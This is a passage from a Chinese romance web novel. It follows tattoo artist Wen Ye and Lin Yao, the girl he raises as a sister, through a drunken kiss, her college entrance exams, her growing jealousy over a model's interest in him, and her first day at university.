以前流行的大多是日式或者美式,但融合着传统文化的中式纹身必将会越来越流行。 宋坷开出的待遇很丰厚,不过闻野考虑了下,还是没答应。 他拿了好名次,以后客源会更多,生意做起来之后肯定比给人打工强,而且自己干,时间灵活自由,离家又近,小姑娘有个什么事他都能及时照应到。 买卖不成仁义在,宋坷还是笑呵呵的:“咱们留个联系方式,你以后不想单干了,随时欢迎来我店里。” 一行人来到家KTV,宋珂财大气粗,刷卡定了间最大的包间,酒水果盘一轮轮地上,这次来参赛的不止都是男的,还有两位作为承载者的女生,也跟着一起来唱歌了。 其中叫章瞳的那个长得漂亮,她是模特,性格外放,身材又火辣,无疑是人群中的焦点,很多男纹身师找她喝酒摇色子。 她没应承,捏着杯鸡尾酒身姿款款地走到闻野这边的沙发。 她和坐闻野旁边的宋珂是认识的,说笑了两句之后,宋珂很有眼力见地去唱歌了,给她腾出位置。 章瞳顺势便在闻野旁边坐下,本就短的皮裙更往上撩起一点,纹着的紫色鸢尾花从白皙小腿一直蔓延到裙摆处,风情又张扬。 她红艳的唇弯着,好奇问他:“你自己就是做刺青的,身上怎么都看不见一处纹身呀?” 说着她人也朝他倾了过来,跟随一起来的是扑鼻的香水味,浓郁得令闻野头晕。 他身子往后靠了靠,无形之中拉开距离,耷拉着眼睑,依然是一张冷漠的帅脸。 “之前上学,纹身不方便。” 声音平铺直叙,简洁明了,像是多说一个字都嫌费劲,完全就是拒人千里的态度。 章瞳没有被闻野的冷漠击退,帅成这样的,拽点也正常。 往她身上扑的男人多得是,越是这么对她爱答不理的,她还越感兴趣了。 她撩了撩头发,刚准备使出自己撩男的杀手锏,就见闻野长手一伸,拿起搁桌上响了声的手机,低头看了眼新来的信息,上一秒还冷得不近一点人情的人,转瞬神色都柔和了起来。 变脸比翻书还快。 这要不是女的,章瞳把自己名字倒过来写。 章瞳心里警铃大作,还在想是哪个小妖精比她还有手段的,闻野已经站了起来,对全场唯一多打了点交道的宋珂说了声:“我先走了。” “别啊,难得一聚的。”宋珂热情地挽留:“等唱完了歌咱们还有下一场呢。” “家里停电了,就妹妹一个人在家,怕她害怕。”闻野道,声音不自觉含着几分宠溺。 宋珂听到是这原因,也没法再留人了,总不能他们在外面潇洒快活,把几岁的妹妹独留在黑漆漆的家里吧,那也不太像话了。 “行,那你赶快回去吧,你喝了不少酒,路上小心着点啊。”- 林杳知道闻野比赛拿了一等奖,他比赛一结束就和她说了,还说要出去聚聚,会晚点回来,让她把家里门锁好。 十点多钟时,她刚洗完澡,家里所有灯突然一熄,估计又是小区老化的电路出了问题,停电了。 怕闻野回来时摸黑看不见,她拿了只手电筒放在门口玄关的鞋架上,又发消息和他说了声。 因为家里停电是常事,闻野每次都把应急灯充满了电给她,她打开,白色的光不比台灯暗多少,依然能写卷子。 继续写了半个多小时,她听见楼下传来开门的动静。 林杳放下笔,拿着应急灯走出房,还没走近闻野身前,她先闻到他身上沾染着的烟酒气。 弥散其中的,还有一股馥郁的香水味。 她脚步顿了顿。 闻野已走到她跟前,唇角扯了扯,被酒精浸灼过的嗓音分外沙哑,也透着愉悦:“第一名奖金五千块,等你四月调考完我们出去吃顿好的。” 林杳闷闷地应了个好,没多说什么。 闻野仅从这一个字就听出少女有点儿不高兴的小情绪,他低头,手里的电筒和她拿着的应急灯足以把他们站着的这一小块地照亮。 他看见她秀气轻蹙的眉:“怎么了?” 林杳想问今晚和你一起喝酒的女生是谁啊,又觉得自己这样管得太宽,也没这个资格。 她抿了抿唇,含糊其辞道:“你身上味道不好闻。” 这一晚上在KTV不少人来敬酒祝贺他,他不好拒绝,也接了两根沈珂递来的烟,不必揪着衣领去闻都知道味道不好。 知道是这个原因,他松了口气,笑了下:“行,我现在就去洗澡,不熏着你了。停电了就早点睡吧,别学习了,不差这几个小时,别把眼睛搞坏了。” 林杳下楼去了厨房。 停电也不影响天然气的使用,她找到红糖,枸杞,红枣,生姜这些,煮了一碗醒酒汤,从前在家时,爸爸每次应酬完,妈妈都是这么做的。 她端着碗,走到闻野房间门口,敲了敲门,没有应答,估计是他洗完澡直接就睡了。 林杳怕他第二天醒来头疼,推门进去了,先把碗放在床旁的书桌上,她轻轻推了下他。 推了好几下,闻野才睁开惺忪迷醉的睡眼,看到床边的人时,那双黑眸中的不耐消失殆尽。 房间光线昏暗混沌。 少女一袭纯白的睡裙坐在他床边,乌黑发丝长长地散在肩头,又有几绺搭在纤细的,雪一样白的颈子上,眼眸清凌凌的,比窗棂外的月亮还亮,周身笼着模糊的光影。 是只有在梦里才会无数次出现的场景。 他想当然地也以为这是梦。 林杳看见他凸起的喉结明显滚动了两下,紧接着眉心深折,像是极不高兴似的,低哑的嗓音含混地问:“你怎么又来了?” 她被这个“又”字弄得莫名。 这明明是她第一次进他的房。 想说我是给你送醒酒汤的,刚张了张嘴,一个字音还没发出,她的手腕被一只大掌攥住。 下一秒,随着那股不容抗拒的力道,摔到了始作俑者的身上。 第27章 第二十七章 还伸了舌头 第一次梦见是什么时候呢?应该就是那个冬天之后。 少女乌黑的长发盘成古典发髻, 一袭水袖长裙娉娉袅袅的,像瑶池里的小仙女,漂亮极了, 又有着遥不可及的清高脱俗感。 谁都没资格去触碰一下。 闻野在梦里也一如最初那般, 远远地瞧着。 再之后, 一个普通得不能再普通的上午,那个他走过几千次, 脏兮兮的破烂小巷,她突然出现,那一瞬毒辣刺眼的太阳光似乎都没那么讨厌了。 当天晚上,那梦就变得不再纯粹,越朝夕相处,梦里的场景就变得越不对劲起来。 他试图反抗那种对她不堪的意淫,次次都是徒劳,最终还是屈从于身体里原始的情欲。 而今晚的梦,真实得不可思议。 闻野鼻尖萦绕着一股清淡又甜的花香,掌心之下的手腕是清晰的温软触感,连她落在他脸上的呼吸, 都如同蝴蝶翅膀轻轻扫过,带来浅而密的痒意。 从短暂的惊吓回过神, 林杳发 觉两人现在姿势奇怪又暧昧极了, 像她把他扑倒似的。 她睡裙之下的小腿挨着少年腿部紧实的肌肉, 那种陌生的触觉让她很不自在。 明明是春夜, 可房里的温度却像是比三伏天还热, 让人有种闷热感。 她动了动,刚要从他身上起来,闻野灼热, 带着酒气的唇贴了上来。 林杳惊得眼眸睁圆,浑身僵硬住,心脏也一瞬间停住跳动。 唇瓣的缝隙间传来湿润温热的触感,她吓了一大跳,忙紧抿着唇,又赶紧去推他。 闻野感受到了小姑娘的抗拒,哪怕是自己主宰的梦里,他也不能在梦里做出强迫她的行为。 他松开了抓着那只细白手腕,看着小姑娘手忙脚乱地从他身上爬起来,慌里慌张地跑出去,从他的梦里消失不见。 林杳回到自己房间,躺到床上时脸颊已然滚烫,心脏更是疯狂跳动,整个凌乱得不行。 她知道喝醉酒的人都神志不清,做出什么糊涂事都有可能,可是他怎么能亲她呢?还、还伸了舌头! 那今晚要是遇上的是别的女生,他是不是也会这么稀里糊涂地亲上去啊? 林杳羞死的同时又生气起来,脚在被子里蹬了蹬,他真讨厌!- 第二天闻野醒来时,头脑昏沉,太阳穴钝钝的疼。 昨晚的一些事还能模糊地回想起来,特别是那个梦,他拽着小姑娘的手腕,把她拉到自己身上。 还亲了一口。 但好像因为梦里的小姑娘不太愿意,他就没像之前的每一次那样,为所欲为。 闻野抬手摸了摸唇,还有点回味昨晚那过于真实的触感,一扭头,视线出现了一碗搁在床头,凉透了的,一口没动的醒酒汤。 他眼皮子猛地一跳。 这证明林杳昨晚是来过他房间的,那他有没有胡言乱语,说些不该说的? 更他妈要命的是,梦里他那番轻薄人的行径,真的只是在做梦吗? 靠靠靠! 闻野心惊肉跳地想到这点,头瞬间疼得像要炸开,眼皮持续地跳来跳去。 妈的,昨晚他没事喝什么破酒! 闻野拿起那碗小姑娘给他熬的醒酒汤几口灌下,从枕头底下摸出手机,充电开机,屏幕上方蹦出个小企鹅的图标。 他第一次有种心提到嗓子眼的感觉,手心都他妈的开始冒汗,心一横点进去,却并非是林杳发来的消息,而是条加好友申请。 备注是章瞳,后面一长串话,说是昨晚在KTV见到他后想认识他,每句话中都附着俏皮的颜文字。 闻野没心情看,直接退出,点进那只加菲猫的头像,拧着眉打字删除,打字删除,打字删除。 反反复复几回,闻野烦躁把手机扔了。 算了,这个点小姑娘在上课,还是别影响她学习。 林杳上完晚自习回家,不到九点,打开门时发现客厅的灯是亮着的,再一看,闻野懒洋洋地靠沙发上玩手机。 一般工作日的晚上他都在纹身店,难得今天这么早就回来了,她以为是今晚没客人预约,又想到昨晚发生的那幕,脸颊好不容易消下去的滚热席卷而来。 她抿了抿唇,弯下腰换拖鞋。 闻野坐立不安了一整天,就跟有把决定他生死的刀悬在脖颈之上似的,好不容易听到开门的动静,他拼命按捺住焦躁,装出专心玩手机的样子,为了看起来自然,坐姿调整了几次。 他眼睛盯着手机,手指机械地操作着屏幕,余光却是一直瞥着玄关处。 等到她走过来,少年清了清嗓子:“你给我煮的那碗醒酒汤我早晨起来喝了,味道不错。” 说完撩起眼皮,看着眼前的小姑娘。 心里紧张得要死,面上还装出一派平静的模样,语气也似漫不经心地随口一提:“我昨晚喝多了,没发什么酒疯吧?” 走回来的这一路,林杳还在想要是闻野记得昨晚发生的事,尤其是他还亲了她一下的那段,那该多尴尬。 听他这么问,他应该什么都不记得了,她因此也悄悄松了口气,脸上调整出最真诚的表情:“没有呀,你当时睡得可沉了,怎么叫都叫不醒。” 问出口的一瞬,闻野后背出了一身冷汗,等到她话音落下,他紧绷到快要断了的神经一下子松弛下来,有种从死罪被突然赦免的劫后余生感。 阿弥陀佛,老天保佑,还好真的只是个梦。 他站起来,人往厨房走去:“晚上吃馄饨还是汤圆?” “我晚自习吃了个鸡蛋灌饼的。” “那顶什么饿啊,你少吃几个,免得半夜饿了,我还没吃,正好一起煮了。” “那我就吃八个馄饨。” 林杳把书包放沙发上,跟着他后边走进厨房,有点不满地嘟囔道:“你以后能不能别喝这么多酒了呀。” 免得又像昨晚,醉了就稀里糊涂地亲人。 闻野这一天下来都快给自己整成神经衰弱了,早就引以为戒,呵了声道:“我这辈子都不可能喝这么多了。” 林杳满意了,又想到昨晚他身上不知从哪儿沾染到的香水味,眉头又蹙了蹙。 “你……”刚开了头,她就不知要怎么说下去。 闻野把袋子里剩下那二十多个馄饨都倒进煮沸的水里,回头就见她纠结得小脸都皱到一块儿的模样,好笑地问怎么了。 “就是,嗯……那什么,”她吞吞吐吐地问道:“你想没想交个女朋友啊?” 闻野愣了下,有点没反应过来她怎么突然问这个。 林杳为了掩饰自己的心虚,虽然她也不知道为什么要心虚,抢先一鼓作气说了一大通:“你朋友寒假时不就谈了个女朋友么,他天天都在空间里秀恩爱,还有你另一个朋友,也经常转发锦鲤求脱单。那你跟他们一样大,难道没有想谈女朋友吗?” 前者说的是路宇安,后者是彭一凡。 至于她说的那些朋友圈动态,闻野不爱刷空间,还真没怎么看到过。 “不想谈。”他想也没想到,边说着摸出手机点进空间:“谈女朋友要花时间陪,人家生气了还得哄,你看我像是个很有耐心的人?” 林杳想点头说是的呀,他对她这个没一点血缘关系的妹妹都好的不得了,细心又周到。 话到了嘴边,又被她抿了回去,唇角悄悄往上翘了翘。 闻野一刷空间,没几条就是路宇安和他女朋友各种贴脸比心秀恩爱的说说。 下面紧跟着的就是彭一凡的,什么“转发这条锦鲤,一周内保证脱单”,又或者是“信男愿意一个月吃素,只愿早点脱单”。 这都什么跟什么,能不能发点积极励志向上的东西? 闻野看得皱了皱眉,向她伸手:“你手机给我一下。” 林杳愣了下,还是听话地从衣兜摸出手机递给他。 闻野拿着她手机,点进q.q,分别找到路安宇和彭一凡他们两个,在动态那栏选择不看他的动态。 “他们整天就是发这些情情爱爱的,你马上就高考了,关键时期,别被他们影响了。”他摆出兄长姿态,严肃着脸道。 “噢。”她没一点反对意见,听话地点了点头,乖得不行。 闻野满意了,又把她往外轰:“行了,你在学习学了一天了不累么,别在这儿站着了,去沙发歇着呗,等我煮好了就端出去。”- 高考在最热的这两天,气温直逼四十度,无论对高三生还是家长来说,这两天都至关重要,很多是爸爸来送考,妈妈在家做一桌可口干净的饭菜,反之也有。 闻野则是又当爹又当妈的,先送小姑娘去考场,紧跟着回家做饭,等她差不多考完上午第一门语文前过去接她。 中午林杳吃完了饭去睡觉,闻野坐在楼下客厅画着设计稿,手机设了三个闹钟,还是不放心,时不时要解锁看一眼时间。 大中午正是太阳最猛烈的时候,但小孩子是不知道热的,在外面玩捉迷藏,跑来跑去,吱哇乱叫。 闻野眉心拧了拧。 下午这门考数学,要是没休息好精神没法集中就完了。 他几大步就要走过去赶人,但想着外边是一群五六岁的小萝卜头,稍稍按捺了一下脾气,转身从茶几上抓起一把小姑娘平时爱吃的巧克力。 开了门,径直走到那一群疯得满头是汗的孩子面前。 少年棱角分明,下颚线利落,天生是偏冷的长相,在小孩子眼里就是凶凶的,连在一群小孩子中最厉害的小胖子都怯生生地望着他。 闻野尽量用心平气和,好好商量的语气道:“我妹妹这两天高考,你们别在这儿玩吵着她休息,她下午还有很有很重要的考试。” 又拿糖衣炮弹轰他们:“你们去别的地方玩,呐,这些巧克力都给你买。” 哪怕语气放得这么温和了,这几个小萝卜头还是怕他,再加上手里那一捧巧克力的“利诱”,大家相互对视一眼,一人快速抓了几个然后飞快地一哄而散。 周围瞬间就清净了,只剩下一排老旧窗机运作时的嗡嗡声。 最后一门英语,日头依然热辣,家长们站在树荫底下,手里拿着印了各种小广告的纸扇子扇风,一边聊着各自的育儿心得。 几个养了女儿的妈妈聊得最起劲。 “女儿一定得富养,不然等到了大学,男生一点小恩小惠和几句甜言蜜语就骗到手了。” “对对对,而且要给她多上上男女方面的课,我邻居家的女儿大一谈了个社会上的男朋友,家长也不怎么上心,结果那女孩儿肚子搞大了,那男的也跑没影了,真是造孽哦。” “还有就是以后千万不能让女儿找那种妈宝男,别管那男生看着多上进优秀,都不能找!我侄女就是,找了个这样的,天天说着我妈多么多么不容易,一胎生了女儿没多久,马上逼着要二胎,还不让剖腹,非要顺产,差点就从手术室出不来了。” 长卷发女人正唏嘘地感慨着,忽然发现不知何时她们这群人旁多了个高瘦的少年,五官棱角分明,垂着的眼皮一条深刻褶皱,听得比谁都认真。 她奇怪问道:“小伙子,你对这话题还感兴趣啊?” 闻眉眼冷肃:“我有个妹妹,马上也上大学了,我也提前学一下。” 女人惊讶哟了声,目光多了几分赞赏:“现在像你这么负责的哥哥不多了。” 闻野没应声,神色也没因着这份表扬愉快多少。 还没操心完小姑娘发挥得好不好,能不能考上心仪的大学,又开始担心她以后被坏男的骗。 她长得那么漂亮,一到了大学,那些男的不就都跟飞蛾似的扑棱个大翅膀围过来? 一想到那些女孩儿被欺负的遭遇,哪件要发生在他家小姑娘身上,他非弄死那个王八蛋不可! 铃声打响,林杳起立,等着老师来收卷子和答题卡,然后收拾书包,跟着乌泱泱的人群下楼梯,走出校门。 精神高度集中了两天,现在考完了,她有点疲惫,还有点儿说不上的,空落落的感觉。 很多家长挤在门口,一张张陌生又写满殷切的笑脸。 她心里那一点空落感在看到少年扬起的胳膊和勾着的唇角时,一下被填满,立刻小跑过去,书包在身后一荡一荡的。 闻野骨节分明的手指勾着杯奶茶,戳了吸管朝她递来,刚买的,塑料杯壁还挂着冰凉的水珠。 而他自己身上热烘烘的,t恤被沁湿了,鼻梁,脖颈,额头一层细密的汗珠。 昨天中午的那幕又涌上脑海,当时林杳还没完全睡着,听到楼下小孩子嬉闹声,也听到他出去制止的话。 她鼻尖忽地酸了酸,心里感动和其他一些情绪一起发酵,像猛地开了瓶汽水,无数小泡泡涌上来。 结果就是身体比思维要快,她一头扎进他怀里,将他抱住。 闻野还朝她递着的手一下僵在了半空 。 她突如其来的举动让他慌了神,第一反应她是不是这门没考好,但英语是她最擅长的科目,难不成是遇上什么意外状况了? 短短几秒,闻野把几百个可能性想了个遍。 他担心得要命,另只空着的胳膊轻轻回抱住她,一下一下轻拍着她背,温柔的嗓音小心翼翼地询问:“怎么了?是没考好还是遇上什么事了?” “没有,考得挺好的。”林杳从他怀里抬起小脸,大眼睛一层湿漉漉的水光,声音带着鼻音,轻轻软软的。 “我就是,就是觉得,你是世界上最好的哥哥。” 第28章 第二十八章 兄控 闻野提着的心放了下来, 扯唇懒笑了声:“这么早就给我颁发最好哥哥的奖,给不给我以后进步的空间了?况且哥哥对妹妹好不是天经地义的事么,这也值得哭鼻子。” 林杳被他说得脸红, 顶着一双水汪汪的杏眸, 倔强否认道:“没哭。” “行行, 没哭,是我眼花看错了。”闻野纵容地哼笑了下, 把那杯拎了半天的奶茶塞她手里:“新出的口味,挺多人买的,你尝尝。” 回去的路上闻野买了些烧烤和饮料,到家后开空调,又从厨房拿盘子把烧烤装出来摆茶几上,给两人各倒了杯椰子汁。 林杳拿遥控打开电视机,选了一档男女生水上闯关的综艺节目,现场欢声笑语一片,看着还挺有趣味的。 她打算就边吃边看这个,身旁,一向她看什么他就跟着看的人难得一次提出反对:“我想看别的节目。” 林杳有点意外地把遥控器交给了他, 然后就看着他拿着遥控器一个个台调过,最后停在一档四五十岁阿姨最热衷看的, 名叫老娘舅的情感调解节目上。 林杳:“?” 考场外那些家长的话还像个警铃在闻野耳边随时敲响。 迎着少女写满疑惑和“你不是吃错药了吧”的复杂目光, 他泰然自若地搁下遥控器:“我觉得这档节目更有生活气息。” 林杳:“……” 确实有生活气息, 整个节目从头到尾都是吵吵闹闹的, 鸡飞狗跳的。 先是女生抹着眼泪控诉男生变了, 说男生追她时对她殷勤备至,早中晚的打电话关心她,凌晨两点她发条说说说饿了, 他乐颠颠去买了宵夜送到她家门口,结果在一起之后下暴雨时宁愿在家打游戏,也不愿开车去公司接她。 男生则辩解说自己那段时间压力大,打游戏不过是放松。 “屁的压力大,听他鬼扯。”还没等那群中年的情感调解专家轮番上场劝说,闻野先不屑地点评道。 林杳转头看向他,腮帮子还因嚼着烤肉串一鼓一鼓的。 闻野嗤讽地哼了一声,黑眸透出鄙夷:“追到女生之前这男的难道就不上班,就没工作压力?只能说明他之前的好都是伪装出来的,等追到手之后就懒得装了。” 他轻咳了声,继续延伸:“现在这种男的多得是,所以女生一定不能被男的短时间的殷勤讨好打动,要长时间地观察下去,知道么。” 林杳听他头头是道地分析,把嘴巴里的烤肉咽下去,认真点了点头。 闻野见她一副听进去了的表情,唇角微微勾了勾,他得提前跟小姑娘把预防针打到位,不给外面那群渣男一点可乘之机。 林杳发现闻野好像不是一时新鲜,好像还有点沉迷于老娘舅这档情感调解节目了。 每天晚上两人一块儿吃饭,他把饭菜端到茶几上,就拿起遥控器 打开电视,调到那个卫视台。 这些天来她看到了妈宝男,凤凰男,家暴男,出轨男,骗婚gay,还有那种睡完就翻脸不认的渣男。 “那男的太过分了,我感觉世上没好男生了。”又看完一期,她替节目里那个被骗的女生不平,有点儿生气道。 闻野意识到自己这预防针的剂量似乎一下子太猛了,有点儿过犹不及了。 虽说世上渣男千千万吧,但也不是没好的,她还没谈恋爱呢,心态就这么消极了,也不行。 闻野琢磨着怎么扭转一下局面,就听她改口道:“噢,也不是全部都是坏的,你就很好。” 少女脸上扬起满是信赖的笑,看得闻野心口又甜又涩。 他掀了掀唇角:“你这要求有点低啊,你以后找男朋友,怎么着也得找个比我还要好百倍千倍的,那样的男生才配得上你。” 又抬手揉了揉她的小脑袋,磁沉的嗓音保证道:“不过就算以后遇到个会伪装的渣男也不怕,有我在,保证把他揍得爹妈都不认识。”- 考完二十天后出成绩,当晚林杳和闻野等到凌晨。 电脑早早打开,她按照准考证上的学号输进去,不出预料网页崩了,试了几次都没进去。 林杳轻叹口气:“老师说了今晚很难查到成绩,明天我早一点起来再查吧。” “你先去睡,我还不困,我再等等看。”闻野头低着,骨节清晰的手指又一次输着她的学号,都不用再瞄一眼准考证,已经背熟了。 心里记挂着事,林杳这一觉也没睡得太熟,两下敲门声就让她醒了,她赤着脚连忙跑过去开门。 “667分。”闻野直截了当地把总分告诉她,张扬桀骜的眉眼里里是抑制不住的喜悦和激动。 林杳刚从睡梦中醒来,突然被惊喜砸中,脑袋都晕乎了,激动高兴得勾住他脖子一蹦三尺高:“太好啦!” 闻野也是脑子一下没反应过来,几乎是条件反射般把人抱住,还是怕她摔了,双手托着她臀。 等兴奋退却,稍微冷静一点,彼此都尴尬和无措起来。 相比于考完那天她在大庭广众的校门口抱住他,现在是深夜不知道凌晨一点还是两点,在她的房门口。 四周寂静,她赤着脚,一身睡衣地被他抱在怀里。 更为关键的是,她起来就直接去开门了,睡衣里面还没穿。 想起来这点,林杳脸红得要滴血,羞得想挖个洞直接把自己埋起来算了。 棉质的睡衣单薄又贴身,闻野自然感受得很清楚。 他眼眸变深,额角重重跳了跳,抬脚几大步走到床边,把人放床上,扯过薄被一把盖在她肩头。 “什么坏习惯,不穿拖鞋光着脚走,生怕下次生理期不疼死是吧。”他着眉,声线又哑又紧绷地说道。 床上的少女被被子盖住大半,只露出一张羞得红透了的小脸,乌黑的发丝乱糟糟地散着,仰起的脖颈天鹅似的白净纤细。 这副含羞带怯的模样,只这么看一眼就叫人受不了,掌心似还有托着她时软绵绵的触感。 “这是你每科的分数,明天我们出去吃顿好的,给你庆祝一下。” 他把一张巴掌大的纸条撂在她床头边的柜子上,说罢一秒不敢多待,像被什么追赶似的拔腿就走,走得飞快。 有了禽兽的念头都该死了,再做出禽兽的行径,他千刀万剐都不为够。 等他走后关上了门,林杳才慢腾腾地从被子里伸出胳膊拿起那张纸条去看。 房间里冷气充足,却完全不足消散她脸颊的滚热,她忍不住懊恼地咬紧唇,自己什么时候有了一激动就抱人的坏毛病啊? 关键还忘了穿内衣!怎么能这么粗心大意的! 越想越生自己的气,林杳把脸埋进被子里,闷着惩罚自己,直到快呼吸不上来了才出来吐口气。 恍惚之间却又想到。 刚才抱着她时,她好似感受到闻野的心跳,剧烈得像要炸开一样。 三中十几年了都没出过这个高的分,校门口第二天就拉起一条大红的横幅:热烈庆祝我校林杳同学考取667的高分。 那字大得,隔着条街都看得见。 闻野陪着林杳回学校拿档案,摸出手机对着那横幅拍了一张,又让她站横幅底下,也要给她来张合照。 来往的同学不少,林杳嫌有点傻气,怎么都没答应。 她和谢安琪一块儿在书吧找到了份朝九晚五的兼职,100一天,负责书刊整理和归类上架。 一开始闻野不太乐意她去,好不容易起早贪黑读完三年,正是该好好玩玩,放松的时刻,还找个这么辛苦的体力活儿。 然而小姑娘坚持,他又去那书吧实地看了看,环境不错,没有乱七八糟的人,一起兼职的还有她朋友,安全出不了问题,这才放心让她去。 林杳兼职完了就来闻野店里,免得在家单独开个空调浪费电,她也更愿意和他待一块儿。 每晚他在屏风后给客人纹身,她在前面那张小桌子看书,提前刷四级题。 自从那次刺青设计大赛后,闻野在平城的纹身圈打响了名声,多了很多客源,很多新面孔来这儿后看到她在,多少觉得有点奇怪。 闻野便介绍说她是他妹妹,对方多半会顺口接一句看着好小,还在念高中吧。 每每这时,林杳脸颊会提前不好意思地红起来。 因为下一秒,闻野就跟炫耀孩子的家长似的,拖腔带调的用看似若无其事,实际不知多骄傲的语气接一句:“刚高考完,考上了w大,噢w大你应该是知道的吧,就是咱们平城最好的大学。” 晚上九点多钟时,闻野在里边给个顾客扎纹身,林杳写着从旧书市场买回来的四级习题册。 只要几块钱,除了前几页有做过的痕迹,后面都是空白的。 玻璃门上挂着一串她买的小风铃,随着推门的动作发出叮铃铃的清脆声响。 林杳抬起眼睫,视线里一个漂亮又身材高挑的女生走了进来。 她穿着一条绿色碎花吊带裙,外搭着镂空的开衫,烫得卷卷的长发散开着,脸上画着精致的烟熏妆,白皙左腿上纹着的鸢尾花摇曳生姿。 随着她走近,香水味扑鼻而来,林杳闻出是玫瑰味。 脑海里两个多月前的记忆被触发,她想起闻野参加刺青比赛的那晚,身上也沾染着这种气味的香水。 章瞳走到她小桌子前,目光投向她,最初带着几分敌意,上下将她打量了几遍。 这张脸好看是好看,但明显是个不大的学生样啊,打扮得也朴素,没一点属于女人的吸引力。 又看到她手下那本习题册,章瞳表情又变为迟疑:“你是……闻野的妹妹?” 林杳点头:“你找闻野吗,他在里面给顾客纹身。” 听到说话声,闻野关了滋滋的纹身枪,绕过屏风走了出来。 说实话他对这个在KTV见过一会儿的女生,还是在有些醉的情况下,已经完全没印象。 他以为是顾客,直截了当地开口,全然公事公办的语气:“来纹身吗,做常规款还是要另外设计,墙上的价目表你先看看。” 章瞳细长的丹凤眼都因不可思议瞪圆了。 她不说是美得倾国倾城吧,但也绝对不可能是过目就忘啊! 多少男的就因为她漂亮对她一见钟情死缠烂打,怎么到了闻野这儿,她就成了个路人甲了?! “刺青大赛比完后我们不还一块儿喝了酒,你就一点印象没了?”她似嗔似怨地斜了他一眼,“太让人家伤心了。” 对着她这句撩拨意思明显的话语,闻野没一点反应,蹲下身把他妹脚边烧完的蚊香换了个点上。 章瞳:“……” 有种对瞎子抛媚眼的无力感! 章瞳整理了下受挫的心情,顺势道:“我确实也想让你给我设计款纹身,马上生日了,我想在我右肩上纹只蝴蝶。” 说着她拿出手机,笑盈盈道:“我们加个q.q呗,之后关于设计稿的沟通也方便。” 闻野加了她,章瞳又把手上一直拎着的小盒子递给他:“我前段时间一直在鹭城玩,这盒凤梨酥是那儿有名的老字号糕点 ,我特地给你带的。” 闻野本想拒绝,转而想到小姑娘就喜欢吃这些甜的玩意儿,便收下了。 章瞳欣喜不过十秒,手机就响了下,一看,她刚给闻野转的100定金被他都退了回来。 一脸懵时,就听对方懒慢冷淡的嗓音:“那谢谢了,钱我转给你了。” 章瞳:“……” 人走后,闻野把那盒凤梨酥放到林杳身前的桌子上,给她吃,自己走回屏风后继续给顾客纹身。 一个多小时后弄完了,他收拾完工具出来,看见凤梨酥还原封不动地摆着,连拆都没拆开。 闻野疑惑地挑了挑眉:“怎么不吃?” 林杳不知该怎么解释自己心里那点不舒服,她自己也不是很明白,只能闷声闷气道:“不喜欢吃这个。” 说完她都觉得自己挺莫名其妙的,别扭又矫情。 “那我让彭一凡明天过来拿,给他吧。”他把桌上的小台灯关了,轻勾着唇角,语气纵容:“走,带你去吃你想吃的。” 回到家挺晚的了。 林杳洗漱完躺到床上,思来想去半天,拿起手机,给同样有个哥哥的彭思嘉发去一条消息:【你睡了么?】 彭思嘉秒回:【十二点都不到呢,我哪睡这么早呀,怎么啦杳杳】 林杳斟酌了好一会儿措辞:【就是,如果你哥找了女朋友,你会感觉有一点不舒服的感觉吗?】 彭思嘉:【彭一凡那个丑东西怎么可能找得到女朋友哈哈哈哈哈不过就算万一真有哪个女生八百度近视看上他了,我也不会不高兴啊,我又不是兄控】 有点二次元的词,林杳之前没听说:【兄控是什么意思啊?】 彭思嘉:【就是对哥哥有强到不正常的依赖和占有欲啦,不希望哥哥交女朋友,会担心女朋友把哥哥抢走,还会嫉妒哥哥对别的女生好。但是彭一凡那个狗东西又不像闻野那么帅,还扣扣搜搜的,我对他完全控不起来,他哪天找到女朋友,我帮他烧高香庆祝】 林杳:“……” 完啦,她好像就是不正常的兄控了。 第29章 第二十九章 别回家了 章瞳不仅自己找闻野纹身, 还把同是小模特的几个姐妹介绍到他这儿。 她经常过来,对林杳也表现得十分热情,过来时给她带奶茶, 甚至主动要加她的q.q号。 林杳不太好意思拒绝, 就加了。 时不时的她会收到章瞳的消息, 问她闻野在不在店里,喜欢吃什么或者其他一些兴趣习惯。 章瞳喜欢闻野, 想追他,明显到连林杳这种对感情还不算很开窍的都能看出来,她也从闻野疏冷的态度看出他不喜欢孟瞳。 但以后闻野会不会喜欢她,林杳就不得而知了。 好多偶像剧不都是那么演的么,一开始男主角冰山一样,对女主爱答不理,但在女主持之以恒的攻势下也会被慢慢打动,最后深深爱上。 林杳尽力不去想闻野和章瞳到底会怎么样,成不成都不关她的事,她得摆正自己心的态,不能像彭思嘉说的那样, 成为不正常的兄控。 转眼九月份,各大高校开学。 林杳因为报的是本市的大学, 不用提前过去, 报道当天早上还能在家悠闲地吃个早餐, 再和闻野一起坐车过去。 她暑假兼职两个多月的钱刚好够缴学费, 交费报道完, 闻野跟她一块儿去宿舍。 他们第一个到,宿舍的床是上下铺,闻野问她想睡哪张, 林杳随便挑了个近的下铺的。 闻野去阳台打湿抹布,连床板带桌椅都擦得干干净净,不见一点灰尘,又给她把被褥铺上。 中途陆续来了两个室友,一个波波头,一个扎着丸子头,分别叫关倩和丛佳慧,相互简单交流了几句,大家各自忙活起来。 最后来的室友一头黑直长发,穿白色雪纺短袖,胸口处两个蝴蝶结,搭配着条黑色长裙和堆堆袜小皮鞋,肩上背着小小的牛皮书包,小公主气质拉满。 她身后跟着两个橘色短袖上衣的男生,一人提着她行李箱,一人给她拎着楼下买的水桶蚊帐这些生活用品。 “多谢两位学长啦,等开学了我请你们吃饭。” 宋可媛嗓音甜腻,送走他们,一扭脸看到宿舍里唯一剩下的那张床时,脸上的表情瞬间就变得不高兴了。 那张床靠着厕所那边,还是个上铺,又在空调底下。 她视线把寝室整个一扫,看中了林杳的那张床,又因林杳漂亮,产生了想压她一头的念头。 宋可媛朝林杳走过去,下巴轻抬:“我给你一千块,我们俩换张床吧。” 林杳蹙了蹙眉,要是对方好好商量的语气,她换一下也没什么,一下拿钱交易,听着怪不舒服的。 “让开,别挡道,谁稀罕你那点钱。” 闻野没好脸色地嗤讽了句,手里拿着蚊帐的组装支架从她身侧经过,长长的不锈钢管子差点打到她胳膊。 宋可媛连忙后退,脾气刚要发作,在看到少年那张冷得不好惹的脸时忍了忍,转头憋闷地去问另外两个室友。 关倩和丛佳慧两个家里虽不是大富大贵的,但也没必要为了一千块就低人一等,纷纷摇头拒绝。 宋可媛脸色青白交加,收拾行李时不断弄出不满的声响。 闻野动手能力强,看了几眼说明书,三两下就帮林杳把蚊帐搭好了。 关倩和丛佳慧折腾了半天,连个框架也没装好,再看看新室友悠闲坐在板凳上,不费一丝力气,已经被人搭得整齐又稳固的蚊帐,无不露出羡慕的眼神。 